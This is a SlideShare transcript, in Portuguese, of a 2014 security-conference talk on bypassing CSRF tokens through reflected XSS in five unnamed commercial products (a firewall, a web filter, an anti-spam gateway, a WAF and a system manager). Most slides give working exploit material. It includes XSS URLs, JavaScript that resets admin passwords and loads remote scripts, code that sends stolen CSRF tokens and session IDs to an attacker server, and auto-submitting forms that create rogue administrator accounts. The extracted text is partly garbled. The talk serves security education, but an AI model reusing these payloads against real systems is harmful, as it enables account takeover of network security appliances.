Bypass de token csrf na pratica secure brasil

1.134 visualizações

Publicada em

Slides apresentados na Secure Brasil 2014

Publicada em: Tecnologia
0 comentários
0 gostaram
Estatísticas
Notas
  • Seja o primeiro a comentar

  • Seja a primeira pessoa a gostar disto

Sem downloads
Visualizações
Visualizações totais
1.134
No SlideShare
0
A partir de incorporações
0
Número de incorporações
3
Ações
Compartilhamentos
0
Downloads
8
Comentários
0
Gostaram
0
Incorporações 0
Nenhuma incorporação

Nenhuma nota no slide

Bypass de token csrf na pratica secure brasil

  1. 1. Bypass de Token CSRF na pra2ca/Exploração de ByPasss de CSRF William Costa
  2. 2. Bypass de Token CSRF Consultor em Segurança da Informação. CISSP, C|EH, E|CSA, CPT, CEPT, LPI.
  3. 3. Bypass de Token CSRF Vulnerabilidade CSRF. • Cross-­‐site request forgery é o envio de comandos (dados) pelo usuário a um site que confia em seu browser (usuário já auten2cado) sem o consen2mento/conhecimento do mesmo. • Normalmente ocorre com ajuda da engenharia social, por meio de envio de links e/ou phishings .
  4. 4. Bypass de Token CSRF Senta que lá vem a Historia do CSRF. • O Primeiro CVE disponível no mitre sobre CSRF (CVE-­‐2002-­‐1648) é de uma vulnerabilidade de 2002 no webmail SquirrelMail. • O Mitre conta com 921 CVEs publicados deste 2po de falha.
  5. 5. Bypass de Token CSRF Como ocorre um ataque de CSRF. • A vi2ma realiza o logon na aplicação vulnerável, com a sessão valida realiza o acesso a um site controlado pelo atacante.
  6. 6. Bypass de Token CSRF A OWASP recomenda a u2lização de Tokens também conhecidos como Token CSRF para prefinir o ataque de CSRF normalmente são u2lizados para validação dos dados enviados via POST(podem ser enviados via GET também), prevenindo assim, um atacante de enviar via browser da vi2ma informações sem o conhecimento prévio do token. Impossibilitando o ataque CSRF.
  7. 7. Bypass de Token CSRF Exemplo de um Token CSRF
  8. 8. Bypass de Token CSRF Como funciona o Token CSRF.
  9. 9. Bypass de Token CSRF Cross-­‐Site ScripBng (XSS) • Cross-­‐Site Scrip2ng é composto por envio de scripts maliciosos em uma requisição de um usuário ao site legi2mo, dessa forma o script será executado pelo browser da vi2ma.
  10. 10. TOP 10 OWASP • OWASP Top 10 – 2013 • A1 – Injec2on • A2 Bypass de Token CSRF – Broken Authen2ca2on and Session Management • A3 – Cross-­‐Site Scrip2ng (XSS) • A4 – Insecure Direct Object References • A5 – Security Misconfigura2on • A6 – Sensi2ve Data Exposure • A7 – Missing Func2on Level Access Control • A8 – Cross-­‐Site Request Forgery (CSRF) • A9 – Using Known Vulnerable Components • A10 – Unvalidated Redirects and Forwards
  11. 11. Bypass de Token CSRF Bypass do CSRF na práBca. Nos próximos slides irei apresentar 5 formas de by-­‐pass de implementações diferentes de Tokens CSRFs. Acredito que o aprendizado pra2co é mais didá2co, então veremos 5 falhas em cinco produtos de mercado que u2lizam alguma implementação do Token CSRF. J
  12. 12. Alvo : Bypass de Token CSRF Falha 1# • Gerenciador de Sistemas Resultado: Um Reflected XSS no parâmetro “ID” na pagina de configuração de usuários administra2vos.
  13. 13. Bypass de Token CSRF XSS no parâmetro ID . • hqp://ip/adminui/user.php?ID=10">]</a><script>alert("XSS");</ script>&&PAGE=2
  14. 14. Saída. Bypass de Token CSRF
  15. 15. Bypass de Token CSRF A primeira coisa é localizar um XSS. • Neste aplica2vo a falha se encontra no ID (ID=10) de iden2ficação do usuário administrador. • Não ocorre o tratamento dos dados enviados nesta variável, o conteúdo da variável é inserida em um link de href da tag <a>. • <a href="history_log.php? HISTORY_TYPE=OBJECT&TYPE_NAME=USER&TYPE_ID=10"></ a><script>alert(2);</script>&NAME=admin&SHOW_ALL=1" onclick='logPopup(this); return false;'>Show All History</a>
  16. 16. Analise do Ambiente. • Agora que já temos o nosso “XSS”, podemos analisar o ambiente e verificar o que é possível fazer com este. • Analisando a pagina onde temos o nosso XSS, vemos que é possível alterar a senha do usuário sem a necessidade da senha atual J. • Já temos o Nosso Alvo. Bypass de Token CSRF
  17. 17. Criando nosso Exploit. • Nosso exploit será composto por um javascript, vamos u2lizar o getElementsByName() para localizar o input correspondente ao campo Password e Confirm Password e setar uma senha. document.getElementsByName('FARRAY[PASSWORD]')[0].value = "123456”; document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value = "123456”; Porém a nossa injeção de script ocorre no inicio do código HTML, por tanto ainda não existem esses campos. A solução é adicionar nosso código a uma função e setar um 2meout. func2on append(csrf) { document.getElementsByName('FARRAY[PASSWORD]')[0].value = "123456"; document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value = "123456"; document.UserForm.submit(); } setTimeout("append("2meout")", 1000); Bypass de Token CSRF
  18. 18. Resultado. Alterado a Senha do Usuário Admin J Bypass de Token CSRF
  19. 19. Falha 2# Alvo: • Firewall UTM Resultado: • Um Reflected XSS no campo “mkey ” na pagina de configuração dos schedules das regras. Bypass de Token CSRF
  20. 20. Bypass de Token CSRF XSS no parâmetro mkey. • hqp://IP/firewall/schedule/recurrdlg? mkey=a"><script>alert("xss");</script>
  21. 21. Saída. Bypass de Token CSRF
  22. 22. Localizando a falha. • O Bypass de Token CSRF XSS neste caso é inserido no parâmetro “mkey” que é a variável do nome do objeto de schedule. • Mais uma vez a variável não foi tratada e a mesma é inserida em um tag <input> do html. • <input type=text name=name id=name size="50" maxlength="31" onfocus="this.select()" value="a"><script>alert("XSS");</script>">
  23. 23. Analise do Ambiente. • Na Bypass de Token CSRF pagina onde ocorre a inserção do script, não contém informações sensíveis, mas, o Token CSRF é guardado em um COOKIE. J • Inserindo um simples <script>alert(document.cookie) ;<script>, temos a seguinte saída • Alvo criação de um novo Usuário
  24. 24. Criando o Exploit. • Iremos Bypass de Token CSRF criar um script para envio do Token CSRF para nosso servidor, depois enviar o usuário a nossa página para o envio dos dados de criação do usuário administrador (CSRF). var o_cookie_array = o_cookie.split(";"); var a_data = unescape(o_cookie_array[1]); var a_data_array = a_data.split ("=" ); var token = unescape(a_data_array[1]); window.loca=on.replace("h?ps://10.0.1.120/xss/cookie.php?cookie=" + encodeURIComponent(token));
  25. 25. • Esse Bypass de Token CSRF código é responsável pelo envio do ataque CSRF quando o usuário acessa a página. <body onload="CSRF.submit();”> <?php $lines = file ('cookies.txt'); dados = explode('"',$lines[1]); $matrizDeDados[] = $dados; foreach ($matrizDeDados as $linhas){ $token = $linhas[1]; } ?> <form id="CSRF" ac=on="h?p://ip_fw/system/config/adminadd" method="post" name="CSRF"> <input name="name" value="user.exploit"> </input> <input name="admin_type" value="1"> </input> <input name="newpasswd1" value="123456"> </input> <input name="newpasswd2" value="123456"> </input> <input name="guest_grp" value=""> </input> <input name="CSRF_TOKEN" value="<?php echo $token;?>"> </input> </form> Criando o Exploit.
  26. 26. Resultado. Criação de um novo usuário de Administração. J Bypass de Token CSRF
  27. 27. Falha 3# Alvo: • Web Filter Resultado: • Um Reflected XSS no campo “date_range ” na pagina de Repor2ngs por usuários. Bypass de Token CSRF
  28. 28. Bypass de Token CSRF XSS no parâmetro date_range. • hqps://ip_webfilter/monitor/users? printable=False&date_range=a"><script>alert(“XSS”)</script>
  29. 29. Saída. Bypass de Token CSRF
  30. 30. Localizando a falha. • O Bypass de Token CSRF XSS neste caso é inserido no parâmetro “date_range” u2lizado para filtro de data. • Mais uma vez a variável não foi tratada e a mesma é inserida em uma tag <input> do html. • <input type="hidden" id="current_date_range” value="aaaaa"><script>alert(2)</script>">
  31. 31. Analise do Ambiente. • Analisando o conteúdo do código devolvido ao usuário encontramos o Token CSRF em uma função do javascript . J • Alvo: Para a troca de senha do Usuário admin, não é necessário saber a senha anterior J Bypass de Token CSRF
  32. 32. Bypass de Token CSRF Criando o Exploit. • Iniciaremos com a criação do Exploit para localização desse script e a remoção do seu conteúdo e envio ao nosso servidor. Como o nosso script é inserido antes da criação da função que contém o Token iremos adicionar o nosso script um 2meout. func=on append(csrf) { csrf = document.getElementsByTagName('script').item(20).textContent var o_cookie = csrf; var o_cookie_array = o_cookie.split("="); var a_data = unescape(o_cookie_array[2]); var a_data_array = a_data.split ("&" ); var token = unescape(a_data_array[0]); window.loca=on.replace("h?ps://ip_server/cookie.php?cookie=" + encodeURIComponent(token)) } setTimeout("append("=meout")", 2000);
  33. 33. Bypass de Token CSRF Criando o Exploit. <?php $lines = file ('cookies.txt'); $matrizDeDados[] = $lines; // recolhe valores da linha foreach ($matrizDeDados as $linhas){ $token = $linhas[1]; } ?> <body onload="CSRF.submit();"> <form id="CSRF" ac=on="h?ps://IP_applicacao/system_administra=on/access/users" method="post" name="CSRF"> <input name="screen" value="system_administra=on.access.users"> </input> <input name="isEdit" value="true"> </input> <input name="userName" value="admin"> </input> <input name="group" value="admin"> </input> <input name="passwd" value="123456789"> </input> <input name="retypePassword" value="123456789"> </input> <input name="CSRFKey" value="<?php echo $token;?>"> </input> </form>
  34. 34. Resultado. Bypass de Token CSRF Alteração da senha do usuário Admin. J
  35. 35. Falha 4# Alvo: • Messaging Security (an2-­‐spam) Resultado: • Um Reflected XSS no campo “new ” na pagina de criação de usuários administra2vos. Bypass de Token CSRF
  36. 36. Bypass de Token CSRF XSS no parâmetro new. • hqps://ip_an2spam/admin? module=SysUser&method=user&new=1><script src=//10.0.1.120/e.js
  37. 37. Saída. Bypass de Token CSRF
  38. 38. Localizando a falha. • O Bypass de Token CSRF XSS neste caso é inserido no parâmetro “new” u2lizado para informar a criação de um novo usuário administrador na aplicação. • Mais uma vez a variável não foi tratada e a mesma é inserida em um tag <input> do html. • <input type=hidden name=new value=1><script src=//10.0.1.120/e.js>
  39. 39. Analise do Ambiente. • Analisando Bypass de Token CSRF o conteúdo do código devolvido ao usuário vemos que o nosso script é inserido dentro de uma TAG input . J • Alvo: Já estamos na página de criação de novos usuários administradores, por que não criar um para nós?!.
  40. 40. Bypass de Token CSRF Criando o Exploit. • Esse exploit tem o intuito de preencher os campos input do usuário, senha e role, porém quando inserimos o XSS quebramos a tag input do usuário. Vamos corrigir isso com um simples document.write. //Create tag input with Id of user that was break by XSS document.write("<input id='id' name='id' value='user.exploit'>"); //Set values in input with password and role func=on append(csrf) { document.getElementsByName('user_newpassword_1')[0].value = "admin@123"; document.getElementsByName('user_newpassword_2')[0].value = "admin@123"; document.getElementsByName('selectedrole')[0].value = "root"; document.main_form.submit(); } setTimeout("append("=meout")", 1000);
  41. 41. Resultado. Criação de um novo usuário de Administração. J Bypass de Token CSRF
  42. 42. Falha 5# Alvo: • WAF (Web Applica2on Firewall) Resultado: • Um Reflected XSS da pagina de Regex pré definidos em um script de criação de cookie Bypass de Token CSRF
  43. 43. XSS na URL. Bypass de Token CSRF • hqps://waf/prot/paqern/list_url_rule/aaa">}//-­‐-­‐></script><script src=hqps://10.0.1.120/exploit.js></script>
  44. 44. Saída. Bypass de Token CSRF
  45. 45. Localizando a falha. • O Bypass de Token CSRF XSS neste caso é inserido na URL que é u2lizada para criação de um cookie por um javascript • A URL não foi tratada e a mesma é inserida em um javascript <script> da aplicação. setCookie("/prot/pa?ern/list_data_type/aaa">}//-­‐-­‐></script><script src=h?ps://10.0.1.120/teste.js></script>"
  46. 46. Analise do Ambiente. • Analisando Bypass de Token CSRF o código devolvido ao usuário encontramos o Token CSRF com o nome de Session_ID, já temos o nosso token. Alvo: Criação de um Novo usuário
  47. 47. Criando o Exploit. • Esse exploit envia ao servidor o Session_ID que vai ser usado para criação de um usuário administrador. J window.loca2on.replace("hqps://10.0.1.120/cookie.php?cookie=" + encodeURIComponent(session_id)); • Não precisamos nem nós preocuparmos em como obter o token ele é uma variável universal. Bypass de Token CSRF
  48. 48. Bypass de Token CSRF Criando o Exploit.
  49. 49. Criação de um novo usuário de Administração. J Bypass de Token CSRF Resultado.
  50. 50. Bypass de Token CSRF Conclusão. • Se temos um XSS na aplicação é fácil burlar as proteções de Flag HqpOnly do cookie ou Token CSRF.
  51. 51. <script>alert(String(/Perguntas?/).substr(1,10) ); </script> twifer.com/@willcosta Bypass de Token CSRF

×